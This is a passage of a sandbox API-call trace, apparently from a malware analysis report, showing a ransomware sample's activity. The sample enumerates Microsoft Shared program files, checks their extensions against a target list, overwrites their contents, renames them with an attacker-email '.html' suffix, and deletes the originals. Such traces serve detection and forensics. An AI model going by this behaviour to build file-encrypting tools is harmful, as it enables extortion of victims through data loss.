67 [0054.424] lstrlenW (lpString=".dbf") returned 4 [0054.424] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.424] lstrlenW (lpString=".1cd") returned 4 [0054.424] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.424] lstrlenW (lpString=".jpg") returned 4 [0054.424] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.424] lstrcmpiW (lpString1=".FNT", lpString2=".html") returned -1 [0054.424] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0054.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.425] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=606062) returned 1 [0054.425] CloseHandle (hObject=0x22c) returned 1 [0054.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0054.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.425] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.425] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.426] GetLastError () returned 0x0 [0054.426] ReadFile (in: hFile=0x22c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0054.438] WriteFile (in: hFile=0x1ac, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0054.626] ReadFile (in: hFile=0x22c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0054.626] WriteFile (in: hFile=0x1ac, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.627] SetEndOfFile (hFile=0x1ac) returned 1 [0054.693] CloseHandle (hObject=0x1ac) returned 1 [0054.718] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.728] SetEndOfFile (hFile=0x22c) returned 1 [0055.150] CloseHandle (hObject=0x22c) returned 1 [0055.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.203] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0055.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.203] lstrlenW (lpString=".doc") returned 4 [0055.203] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0055.204] lstrlenW (lpString=".docx") returned 5 [0055.204] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0055.204] lstrlenW (lpString=".pdf") returned 4 [0055.204] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0055.204] lstrlenW (lpString=".xls") returned 4 [0055.204] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0055.204] lstrlenW (lpString=".xlsx") returned 5 [0055.204] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0055.204] lstrlenW (lpString=".ppt") returned 4 [0055.204] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.204] lstrlenW (lpString=".zip") returned 4 [0055.204] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0055.204] lstrlenW (lpString=".rar") returned 4 [0055.204] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0055.204] lstrlenW (lpString=".bz2") returned 4 [0055.204] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0055.204] lstrlenW (lpString=".7z") returned 3 [0055.204] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.204] lstrlenW (lpString=".dbf") returned 4 [0055.204] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.204] lstrlenW (lpString=".1cd") returned 4 [0055.204] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.204] lstrlenW (lpString=".jpg") returned 4 [0055.204] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.204] lstrlenW (lpString=".doc") returned 4 [0055.204] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0055.204] lstrlenW (lpString=".docx") returned 5 [0055.204] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0055.205] lstrlenW (lpString=".pdf") returned 4 [0055.205] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0055.205] lstrlenW (lpString=".xls") returned 4 [0055.205] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0055.205] lstrlenW (lpString=".xlsx") returned 5 [0055.205] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0055.205] lstrlenW (lpString=".ppt") returned 4 [0055.205] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.205] lstrlenW (lpString=".zip") returned 4 [0055.205] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0055.205] lstrlenW (lpString=".rar") returned 4 [0055.205] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0055.205] lstrlenW (lpString=".bz2") returned 4 [0055.205] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0055.205] lstrlenW (lpString=".7z") returned 3 [0055.205] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.205] lstrlenW (lpString=".dbf") returned 4 [0055.205] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.205] lstrlenW (lpString=".1cd") returned 4 [0055.205] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.205] lstrlenW (lpString=".jpg") returned 4 [0055.205] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0055.205] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0055.205] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0055.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.206] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=1831424) returned 1 [0055.206] CloseHandle (hObject=0x22c) returned 1 [0055.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0055.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0056.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0056.445] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0056.445] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0056.445] ReadFile (in: hFile=0x22c, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.449] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0056.449] ReadFile (in: hFile=0x22c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.452] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.452] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0056.452] ReadFile (in: hFile=0x22c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.466] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0056.466] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0056.594] SetEndOfFile (hFile=0x22c) returned 1 [0056.595] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0056.598] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0056.598] WriteFile (in: hFile=0x22c, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.599] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0056.599] WriteFile (in: hFile=0x22c, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.601] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0056.601] WriteFile (in: hFile=0x22c, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.603] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0056.603] CloseHandle (hObject=0x22c) returned 1 [0056.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.604] lstrlenW (lpString=".doc") returned 4 [0056.604] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.604] lstrlenW (lpString=".docx") returned 5 [0056.604] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0056.604] lstrlenW (lpString=".pdf") returned 4 [0056.604] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.604] lstrlenW (lpString=".xls") returned 4 [0056.604] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.604] lstrlenW (lpString=".xlsx") returned 5 [0056.604] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0056.604] lstrlenW (lpString=".ppt") returned 4 [0056.604] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.604] lstrlenW (lpString=".zip") returned 4 [0056.604] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.604] lstrlenW (lpString=".rar") returned 4 [0056.604] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.604] lstrlenW (lpString=".bz2") returned 4 [0056.604] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.604] lstrlenW (lpString=".7z") returned 3 [0056.604] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.604] lstrlenW (lpString=".dbf") returned 4 [0056.604] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.604] lstrlenW (lpString=".1cd") returned 4 [0056.605] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.605] lstrlenW (lpString=".jpg") returned 4 [0056.605] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.605] lstrlenW (lpString=".doc") returned 4 [0056.605] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString=".docx") returned 5 [0056.605] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0056.605] lstrlenW (lpString=".pdf") returned 4 [0056.605] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString=".xls") returned 4 [0056.605] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString=".xlsx") returned 5 [0056.605] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0056.605] lstrlenW (lpString=".ppt") returned 4 [0056.605] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.605] lstrlenW (lpString=".zip") returned 4 [0056.605] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString=".rar") returned 4 [0056.605] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.605] lstrlenW (lpString=".bz2") returned 4 [0056.605] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.605] lstrlenW (lpString=".7z") returned 3 [0056.605] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.605] lstrlenW (lpString=".dbf") returned 4 [0056.605] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.605] lstrlenW (lpString=".1cd") returned 4 [0056.605] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0056.606] lstrlenW (lpString=".jpg") returned 4 [0056.606] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.606] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.606] lstrlenW (lpString="micaut.dll.mui") returned 14 [0056.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.875] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=8704) returned 1 [0057.878] CloseHandle (hObject=0x184) returned 1 [0057.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0057.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.878] lstrlenW (lpString=".doc") returned 4 [0057.878] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.878] lstrlenW (lpString=".docx") returned 5 [0057.878] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.878] lstrlenW (lpString=".pdf") returned 4 [0057.878] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.878] lstrlenW (lpString=".xls") returned 4 [0057.878] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.879] lstrlenW (lpString=".xlsx") returned 5 [0057.879] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.879] lstrlenW (lpString=".ppt") returned 4 [0057.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.879] lstrlenW (lpString=".zip") returned 4 [0057.879] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.879] lstrlenW (lpString=".rar") returned 4 [0057.879] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.879] lstrlenW (lpString=".bz2") returned 4 [0057.879] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.879] lstrlenW (lpString=".7z") returned 3 [0057.879] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.879] lstrlenW (lpString=".dbf") returned 4 [0057.879] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.879] lstrlenW (lpString=".1cd") returned 4 [0057.879] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.879] lstrlenW (lpString=".jpg") returned 4 [0057.879] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.879] lstrlenW (lpString=".doc") returned 4 [0057.879] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.879] lstrlenW (lpString=".docx") returned 5 [0057.879] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.879] lstrlenW (lpString=".pdf") returned 4 [0057.879] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.879] lstrlenW (lpString=".xls") returned 4 [0057.879] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.880] lstrlenW (lpString=".xlsx") returned 5 [0057.880] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.880] lstrlenW (lpString=".ppt") returned 4 [0057.880] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.880] lstrlenW (lpString=".zip") returned 4 [0057.880] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.880] lstrlenW (lpString=".rar") returned 4 [0057.880] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.880] lstrlenW (lpString=".bz2") returned 4 [0057.880] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.880] lstrlenW (lpString=".7z") returned 3 [0057.880] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.880] lstrlenW (lpString=".dbf") returned 4 [0057.880] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.880] lstrlenW (lpString=".1cd") returned 4 [0057.880] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0057.880] lstrlenW (lpString=".jpg") returned 4 [0057.880] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.880] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.880] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0057.972] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=3584) returned 1 [0057.972] CloseHandle (hObject=0x230) returned 1 [0057.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0057.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common 